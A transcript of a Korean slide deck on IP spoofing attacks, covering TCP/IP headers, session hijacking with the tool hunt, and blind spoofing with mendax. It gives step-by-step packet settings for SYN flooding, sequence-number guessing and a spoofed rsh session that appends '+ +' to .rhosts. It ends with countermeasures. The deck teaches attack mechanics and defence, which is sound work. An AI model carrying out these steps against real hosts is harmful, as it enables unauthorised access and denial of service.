ip spoofing 공격

53
IP Spoofing 공공 공공공공공공공 PLUS 공공공 (PLUS015) [email protected]

Upload: lesley-avila

Post on 03-Jan-2016

206 views

Category:

Documents


1 download

DESCRIPTION

IP Spoofing 공격. 포항공과대학교 PLUS 오태호 (PLUS015) [email protected]. 목차 (1). IP Spoofing 이란 ? TCP/IP Packet 의 구조 IP Header 의 구조 TCP Header 의 구조 TCP Connection Connect with IP Spoofing. 목차 (2). IP Spoofing 의 종류 Non Blind IP Spoofing hunt 를 이용한 IP Spoofing Blind IP Spoofing - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: IP Spoofing 공격

IP Spoofing 공격

포항공과대학교PLUS

오태호 (PLUS015)

[email protected]

Page 2: IP Spoofing 공격

목차 (1)

• IP Spoofing 이란 ?

• TCP/IP Packet 의 구조– IP Header 의 구조– TCP Header 의 구조

• TCP Connection

• Connect with IP Spoofing

Page 3: IP Spoofing 공격

목차 (2)

• IP Spoofing 의 종류– Non Blind IP Spoofing

• hunt 를 이용한 IP Spoofing

– Blind IP Spoofing• mendax 를 이용한 IP Spoofing

– mendax 의 IP Spoofing 과정

• Sequence Number Guessing

• IP Spoofing 을 막기 위한 대책

Page 4: IP Spoofing 공격

IP Spoofing 이란 ?

• TCP/IP 의 구조적인 허점을 이용한 공격• 자신의 IP 를 속여서 접속하는 공격• IP 로 인증하는 서비스를 무력화 시킬 수

있음 ( ex. rlogind, rshd )• 1985 년 Morris 가 IP Spoofing 공격의

가능성에 대해 예견• 1995 년 Kevin Mitnick 이 처음으로 IP Spo

ofing 공격을 시도

Page 5: IP Spoofing 공격

TCP/IP Packet 의 구조

IP Header TCP Header Application Data

20 bytes 20 bytes

Page 6: IP Spoofing 공격

IP Header 의 구조 (1)struct ip{

u_int8_t ip_hl:4; /* header length */u_int8_t ip_v:4; /* version */u_int8_t ip_tos; /* type of service */u_short ip_len; /* total length */u_short ip_id; /* identification */u_short ip_off; /* fragment offset field */u_int8_t ip_ttl; /* time to live */u_int8_t ip_p; /* protocol */u_short ip_sum; /* checksum */struct in_addr ip_src, ip_dst;/* source and dest ad

dress */};

* Redhat Linux 5.1 의 /usr/include/netinet/ip.h 에서 발췌

( endian 과 ip_off 관련 내용은 생략 )

Page 7: IP Spoofing 공격

IP Header 의 구조 (2)

• ip_hl– IP Header 의 길이를 double word 단위로

나타낸다 . 보통 5 를 사용한다 .

• ip_v– IP 의 Version 이다 . 보통 IPVERSION 을

사용한다 .

• ip_tos– service 의 type 을 나타낸다 .

Page 8: IP Spoofing 공격

IP Header 의 구조 (3)

• ip_len– 현재 packet 의 전체 크기를 나타낸다 .

• ip_id– 각각의 packet 을 구분할 때 사용하는 id

이다 . 보통 packet 을 하나 보낼 때 마다 1씩 증가한다 .

• ip_off– fragment offset field 이다 .

Page 9: IP Spoofing 공격

IP Header 의 구조 (4)

• ip_ttl– time to live 를 나타낸다 . packet 이 router 를

최대 몇 개까지 거칠 수 있는지 한계를 설정한다 .

• ip_p– protocol 을 나타낸다 . TCP 를 사용하는

경우에는 IPPROTO_TCP 를 사용한다 .

Page 10: IP Spoofing 공격

IP Header 의 구조 (5)

• ip_sum– IP Header 의 checksum 값이다 .

• ip_src, ip_dst– source IP 와 destination IP 이다 .

Page 11: IP Spoofing 공격

TCP Header 의 구조 (1)struct tcphdr{

u_int16_t th_sport; /* source port */u_int16_t th_dport; /* destination port */tcp_seq th_seq; /* sequence number */tcp_seq th_ack; /* acknowledgement number */u_int8_t th_x2:4; /* (unused) */u_int8_t th_off:4; /* data offset */u_int8_t th_flags;u_int16_t th_win; /* window */u_int16_t th_sum; /* checksum */u_int16_t th_urp; /* urgent pointer */

};

* Redhat Linux 5.1 의 /usr/include/netinet/tcp.h 에서 발췌

( endian 과 th_flags 관련 내용은 생략 )

Page 12: IP Spoofing 공격

TCP Header 의 구조 (2)

• th_sport, th_dport– source port 와 destination port 이다 .

• th_seq– 전송하는 packet 의 순서를 나타내는

번호이다 .

• th_ack– 다음에 받을 것으로 예상되는 packet 의

번호이다 .

Page 13: IP Spoofing 공격

TCP Header 의 구조 (3)

• th_off– TCP Header 의 길이를 double word 단위로

나타낸다 . 보통 5 를 사용한다 .

• th_flags– 현재 packet 의 flag 들을 나타내며 flag 에는

URG, ACK, PSH, RST, SYN, FIN 이 있다 .

• th_win– window size 이다 .

Page 14: IP Spoofing 공격

TCP Header 의 구조 (4)

• th_sum– 전송된 packet 이 제대로 전송되었는지

알아보기 위한 checksum 값이 저장된다 .

• th_urp– urgent pointer 이다 . 긴급한 데이터를

전송할 때 사용된다 .

Page 15: IP Spoofing 공격

TCP Connection

• TCP 3 way handshakeHost A Host B

SYN(1000)

SYN(4000) , ACK(1001)

ACK(4001)

Connection Established

Page 16: IP Spoofing 공격

Connect with IP Spoofing(1)

• Connect to Host B with IP SpoofingHacker Host A Host B

Denial of Service attackSend SYN Packet ( src = Host A, dest = Host B )

Send SYN, ACK Packet

Send RST Packet

Send gussed SYN, ACK Packet( src = Host A, dest = Host B )

Send data ( ex. echo “+ +” > .rhosts )

Send RST Packet

Page 17: IP Spoofing 공격

Connect with IP Spoofing(2)

• Send guessed ACK, SYN Packet– Host B 가 Host A 로 보낸 Packet 의 Sequence

number 를 알아야 Packet 을 보낼 수 있다 .

• Non Blind IP Spoofing– Host A 와 Host B 가 주고받는 Packet 을 볼

수가 있다면 Sequence number 를 쉽게 알 수 있다 .

Page 18: IP Spoofing 공격

IP Spoofing 의 종류 (1)

• Non Blind IP Spoofing– Host A 와 Host B 가 주고받는 Packet 을 볼 수

있는 상태이다 .– Sequence number 를 알 수 있기 때문에 쉽게

공격이 가능하다 .– Connection 을 계속 유지할 수 있다 .

Page 19: IP Spoofing 공격

IP Spoofing 의 종류 (2)

• Blind IP Spoofing– Host A 와 Host B 가 주고받는 Packet 을 볼 수

없는 상태이다 .– Sequence number 를 추정해야 되기 때문에

공격이 어렵다 .– Connection 을 계속 유지하기가 곤란하다 .

Page 20: IP Spoofing 공격

Non Blind IP Spoofing

• Connect 가 되어 있는 상태를 살피고 있다가 중간에 끼어 드는 Connection Hijacking 할 때 흔히 사용함

• Connection 을 끊어 버리거나 중간에 해커가 원하는 명령을 수행하게 할 수 있음

• One time password 를 무력화 시킬 수 있음• Hunt 라는 프로그램을 사용해 쉽게 할 수

있음

Page 21: IP Spoofing 공격

hunt 를 이용한 IP Spoofing(1)

Page 22: IP Spoofing 공격

hunt 를 이용한 IP Spoofing(2)

Page 23: IP Spoofing 공격

hunt 를 이용한 IP Spoofing(3)

Page 24: IP Spoofing 공격

hunt 를 이용한 IP Spoofing(4)

• 141.223.163.40 에서 두 user 가 서로 대화를 하고 있음

• 현재 hunt 를 이용해 141.223.163.30 141.223.163.40 을 hijack 하려고 준비하고 있음

• 141.223.163.30->141.223.163.40 은 현재 guest 가 사용하고 있음

Page 25: IP Spoofing 공격

hunt 를 이용한 IP Spoofing(5)

Page 26: IP Spoofing 공격

hunt 를 이용한 IP Spoofing(6)

Page 27: IP Spoofing 공격

hunt 를 이용한 IP Spoofing(7)

Page 28: IP Spoofing 공격

hunt 를 이용한 IP Spoofing(8)

• guest 는 이유없이 connection 이 끊어짐• ohhara 는 guest 가 이상한 말을 하는

것으로 느낌• guest 가 한 이상한 말은 실은 hacker 가

connection 을 hijacking 해서 입력한 것

Page 29: IP Spoofing 공격

Blind IP Spoofing

• Sequence number 가 추측이 가능한 경우에만 공격이 가능하다 .

• rsh, rlogin 과 같은 IP 를 가지고 인증하는 서비스를 공격할 때 사용한다 .

• Denial of Service 공격이 우선적으로 필요하다 .

• mendax 프로그램을 사용해 rsh, rlogin 의 인증을 쉽게 무력화 시킬 수 있다 .

Page 30: IP Spoofing 공격

mendax 를 이용한 IP Spoofing(1)

• mendax 의 사용 방법Usage: mendax [OPTIONS] <source> <target> [<gateway>]

-p PORT first port on localhost to occupy -s PORT server port on <source> to swamp -l USERNAME user on <source> -r USERNAME user on <target> -c COMMAND command to execute -w PORT wait for a TCP SYN packet on port PORT -d read data from stdin and send it. -t test whether attack might succeed -L TERM spoof rlogind instead of rshd. -S PORT port from which to sample seq numbers.

Page 31: IP Spoofing 공격

mendax 를 이용한 IP Spoofing(2)

Page 32: IP Spoofing 공격

mendax 를 이용한 IP Spoofing(3)

• 141.223.94.22 에 있는 plus 사용자는 141.223.163.23 의 ohhara 사용자를 신뢰함

• 공격 방법– mendax -l plus -r ohhara -c “echo + + >> .rhosts” 141.223.163.23 141.223.94.22

• .rhosts 에 + + 를 추가해서 누구나 로그인을 할 수 있게 된다 .

Page 33: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (1)ip_hl = 5ip_v = IPVERSIONip_tos = 0x2bip_len = sizeof(struct ip) + sizeof(struct tcphdr)ip_id = 0ip_ttl = 0x60ip_off = 0ip_p = IPPROTO_TCPip_src = 143.209.4.3 /* this host must not exist */ip_dst = 141.223.163.23ip_sum = checksum of ip headerth_sport = 200th_dport = 513th_off = 5th_win = 0th_seq = 343289783th_ack = 0th_flags = TH_SYNth_sum = checksum of packet

Page 34: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (2)

• 위와 같은 packet 을 20 개 보냄– ip_id 를 packet 마다 1 을 더한다 .– th_seq 를 packet 마다 64000 을 더한다 .– th_sport 를 packet 마다 1 을 더한다 .– 143.209.4.3 에서 응답이 없으므로 141.223.1

63.23 은 일시적으로 서비스 불능상태가 된다 .

• 흔히 SYN Flooding 이라 불린다 .

Page 35: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (3)ip_hl = 5ip_v = IPVERSIONip_tos = 0x2bip_len = sizeof(struct ip) + sizeof(struct tcphdr)ip_id = 0x4189ip_ttl = 0x60ip_off = 0ip_p = IPPROTO_TCPip_src = hacker’s ipip_dst = 141.223.94.22ip_sum = checksum of ip headerth_sport = 7843th_dport = 514th_off = 5th_win = 0th_seq = 0th_ack = 0th_flags = TH_SYNth_sum = checksum of packet

Page 36: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (4)

• 위와 같은 packet 을 4 개 보냄– ip_id 를 packet 마다 1 을 더한다 .– th_sport 를 packet 마다 1 을 더한다 .– th_seq 를 packet 마다 64000 을 더한다 .– 돌아오는 packet 의 sequence number 를

분석해 어떤 규칙이 있는지 알아낸다 .

Page 37: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (5)ip_hl = 5ip_v = IPVERSIONip_tos = 0x2bip_len = sizeof(struct ip) + sizeof(struct tcphdr)ip_id = 0x4189 + 4ip_ttl = 0x60ip_off = 0ip_p = IPPROTO_TCPip_src = 141.223.163.23ip_dst = 141.223.94.22ip_sum = checksum of ip headerth_sport = 513th_dport = 514th_off = 5th_win = 0th_seq = 0th_ack = 0th_flags = TH_SYNth_sum = checksum of packet

Page 38: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (6)

• 위와 같은 packet 을 보냄– 141.223.94.22 는 위의 packet 을 받고

141.223.163.23 으로 packet 을 보내지만 서비스 불능상태이기 때문에 응답이 없다 .

– 여기서 141.223.94.22 가 보낸 packet 의 sequence number 를 방금 전의 분석을 토대로 추정한다 .

Page 39: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (7)ip_hl = 5ip_v = IPVERSIONip_tos = 0x2bip_len = sizeof(struct ip) + sizeof(struct tcphdr)ip_id = 0x4189 + 5ip_ttl = 0x60ip_off = 0ip_p = IPPROTO_TCPip_src = 141.223.163.23ip_dst = 141.223.94.22ip_sum = checksum of ip headerth_sport = 513th_dport = 514th_off = 5th_win = 0th_seq = 0th_ack = 660224001 /* gussed number */th_flags = TH_SYN | TH_ACKth_sum = checksum of packet

Page 40: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (8)

• 위와 같은 packet 을 보냄– sequence number 의 예측 값이 정확하다면

connection 이 성공적으로 이루어진다 .

Page 41: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (9)ip_hl = 5ip_v = IPVERSIONip_tos = 0x2bip_len = sizeof(struct ip) + sizeof(struct tcphdr) + dataip_id = 64ip_ttl = 0x60ip_off = 0ip_p = IPPROTO_TCPip_src = 141.223.163.23ip_dst = 141.223.94.22ip_sum = checksum of ip headerth_sport = 513th_dport = 514th_off = 5th_win = 0th_seq = 0th_ack = 660224001 /* gussed number */th_flags = TH_ACK | TH_PUSHth_sum = checksum of packetdata = “ohhara plus echo + + >> .rhosts”

Page 42: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (10)

• 위와 같은 packet 을 보냄– echo + + >> .rhosts 의 명령이 수행된다 .

Page 43: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (11)

ip_hl = 5ip_v = IPVERSIONip_tos = 0x2bip_len = sizeof(struct ip) + sizeof(struct tcphdr)ip_id = 128ip_ttl = 0x60ip_off = 0ip_p = IPPROTO_TCPip_src = 141.223.163.23ip_dst = 141.223.94.22ip_sum = checksum of ip headerth_sport = 513th_dport = 514th_off = 5th_win = 0th_seq = 0th_ack = 660224001 /* gussed number */th_flags = TH_RSTth_sum = checksum of packet

Page 44: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (12)

• 위와 같은 packet 을 보냄– 141.223.163.23 과 141.223.94.22 의

connection 을 RST packet 을 보내서 끊는다 .

Page 45: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (13)

ip_hl = 5ip_v = IPVERSIONip_tos = 0x2bip_len = sizeof(struct ip) + sizeof(struct tcphdr)ip_id = 0ip_ttl = 0x60ip_off = 0ip_p = IPPROTO_TCPip_src = 143.209.4.3 /* this host must not exist */ip_dst = 141.223.163.23ip_sum = checksum of ip headerth_sport = 200 + 20th_dport = 513th_off = 5th_win = 0th_seq = 34328983th_ack = 0th_flags = TH_RSTth_sum = checksum of packet

Page 46: IP Spoofing 공격

mendax 의 IP Spoofing 과정 (14)

• 위와 같은 packet 을 20 개 보냄– ip_id 를 packet 마다 1 을 더한다 .– th_seq 를 packet 마다 64000 을 더한다 .– th_sport 를 packet 마다 1 을 더한다 .– RST packet 을 141.223.163.23 으로 보낸다 .– 141.223.163.23 은 서비스 불능상태에서

서비스 가능상태로 바뀐다 .

Page 47: IP Spoofing 공격

Sequence Number Guessing(1)

• Blind IP Spoofing 공격은 sequence number를 얼마나 정확히 추정하느냐에 따라 공격의 성공여부가 결정됨

• 대부분의 OS 가 sequence number 를 너무 간단한 규칙하에 발생시킴

Page 48: IP Spoofing 공격

Sequence Number Guessing(2)

• 64K Rule– SYN packet 을 하나 받을 때마다 sequence

number 를 64000 씩 증가 시킴• HP-UX all versions

• IRIX 5.3 and before

• OSF 3.2 and before

• SunOS 5.4 and before

• AIX 3 and before

Page 49: IP Spoofing 공격

Sequence Number Guessing(3)

• Time relation– 시간에 비례해서 sequence number 를 증가

시킴• IRIX 6.2 and after

• OSF 4.0 and after

• SunOS 5.5 and after

• Microsoft Windows all versions

• Linux 1.x and before

• FreeBSD

Page 50: IP Spoofing 공격

Sequence Number Guessing(4)

• Random– sequence number 의 규칙을 알 수 없다 .

비교적 안전하다 .• AIX 4 and after

• Linux 2.x and after

Page 51: IP Spoofing 공격

IP Spoofing 을 막기 위한 대책 (1)

• Router 에서 source routing 을 허용하지 않음– 내부 사용자끼리의 IP Spoofing 은 막을 수 없다 .

• Sequence number 를 Random 하게 발생시키도록 함– Sequence number 를 sniff 할 수 있는 경우에는

막을 수 없다 .

Page 52: IP Spoofing 공격

IP Spoofing 을 막기 위한 대책 (2)

• Denial of Service 가 발생하지 않도록 함– IP Spoofing 은 Denial of Service 가 공격의

시작이므로 Denial of Service 를 막을 수 있다면 IP Spoofing 공격을 막을 수 있다 .

• IP 로 인증하는 서비스는 사용하지 않음– IP Spoofing 은 막을 수 있지만 사용이 상당히

불편해 진다 .

Page 53: IP Spoofing 공격

IP Spoofing 을 막기 위한 대책 (3)

• 암호화된 Protocol 을 사용– 암호화된 Protocol 을 사용하면 IP Spoofing

공격을 상당히 차단할 수 있지만 속도가 느려지고 사용이 아직 보편화되어 있지 않다 .